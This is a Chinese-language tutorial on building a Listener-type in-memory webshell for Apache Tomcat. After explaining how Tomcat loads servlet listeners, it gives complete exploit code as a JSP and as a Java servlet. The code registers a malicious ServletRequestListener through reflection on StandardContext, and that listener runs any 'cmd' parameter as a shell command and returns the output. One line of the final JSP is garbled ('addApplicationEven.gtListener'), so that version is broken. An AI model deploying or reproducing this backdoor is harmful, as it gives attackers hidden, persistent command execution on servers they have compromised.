Listener 基础知识
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Listener 三个域对象
我们知道监听器的过程:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
- ServletContextListener:服务器启动和终止时触发
- HttpSessionListener:有关Session操作时触发
- ServletRequestListener:访问服务时触发
很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的 Listener
Listener 基础代码实现
和 Filter 型内存马一样的, Filter 内存马需要定义一个实现 Filter 接口的类,如果在Tomcat要引入Listener,需要实现两种接口,分别是LifecycleListener和原生EvenListener。
实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。另一个EventListener接口,在Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。
先去看看EventListener这个接口有哪些实现类,它有非常多的实现类,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener,我们去寻找的时候一定是优先找 Servlet 开头的类。
这里我找到了 ServletRequestListener :
requestInitialized
**:**在request对象创建时触发
requestDestroyed
**:**在request对象销毁时触发
这里我们尝试自己写一个 Listener,并进行测试。
因为前面猜想 requestInitialized()
方法可以触发 Listener 监控器,所以我们在 requestInitialized()
方法里面加上一些代码,来证明它何时被执行。
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
@WebListener("/TestListener")
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("initial TestListener");
}
}
同样是需要我们修改 web.xml 文件的,添加如下
<listener>
<listener-class>TestListener</listener-class>
</listener>
Listener 流程分析
应用开启前
先读取 web.xml
在启动应用的时候,ContextConfig 类会去读取配置文件,其中configureContext()
方法会做一些读取数据并保存的工作,我们不难发现其中读取了 Filter 等 Servlet 组件,我们重点肯定是关注于 Listener 的读取的,最后找到在这个地方读取了 web.xml
接着我们继续往里看 addApplicationListener()
这个方法,进去之后发现是一个接口中的方法,我们去找它的实现方法
第一个 FailedContext 类里面的 addApplicationListener()
是没东西的,东西在 StandContext 里面。
读取完配置文件,加载 Listener
当我们读取完配置文件,当应用启动的时候,StandardContext 会去调用 listenerStart()
方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。
这里实际就是把之前的 Listener 存到这里面。
应用运行过程
我们最先开始调试,肯定是把断点下在 requestInitialized()
方法这里的,调试之后发现一个什么问题呢?是我们走进去之后的代码没有什么实际作用,因此断点要下在前一个方法fireRequestInitEvent
这里。
开始调试,这里我们先进到 getApplicationEventListeners()
方法里面
getApplicationEventListeners()
方法做了这么一件事:获取一个 Listener 数组
我们定义的TestListener就是存储在该数组中,我们往下翻翻,可以发现一个addApplicationEventListener
方法
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
顾名思义,就是用来往applicationEventListenersList数组添加Listener的,这个方法是动态添加恶意Listener的关键。
到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。
在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的 requestInitialized()
方法去。
小结运行流程
在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载;加载完毕之后会进行逐个读取,对每一个 Listener,都会到 requestInitialized()
方法进去。
Listner 型内存马 EXP 编写
EXP 分析
如果我们要实现 EXP,要做哪些步骤呢?
- 很明显的一点是,我们的恶意代码肯定是写在对应 Listener 的
requestInitialized()
方法里面的。 - 通过 StandardContext 类的
addApplicationEventListener()
方法把恶意的 Listener 放进去。
Listener 与 Filter 的大体流程是一样的,所以我们也可以把 Listener 先放到整个 Servlet 最前面去
EXP 编写
- 首先做最简单的工作 ———— 编写恶意的Listen代码
public class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
request.getResponse().getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}
}
}
- 接着是获取 StandardContext 对象,并且添加 Listener
在 StandardHostValve#invoke
中,可以看到其通过request对象来获取 StandardContext 类
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
- 最后就是把恶意的Listener对象添加到context中
<%
ListenerShell listenerShell = new ListenerShell();
context.addApplicationEventListener(listenerShell);
%>
最终EXP
JSP文件
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
request.getResponse().getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
ListenerShell listenerShell = new ListenerShell();
context.addApplicationEven.gtListener(listenerShell);
%>
Java文件形式
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
request.getResponse().getWriter().write(out);
}
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardContext.addApplicationEventListener(listener);
} catch (Exception e) {
e.printStackTrace();
}
}
}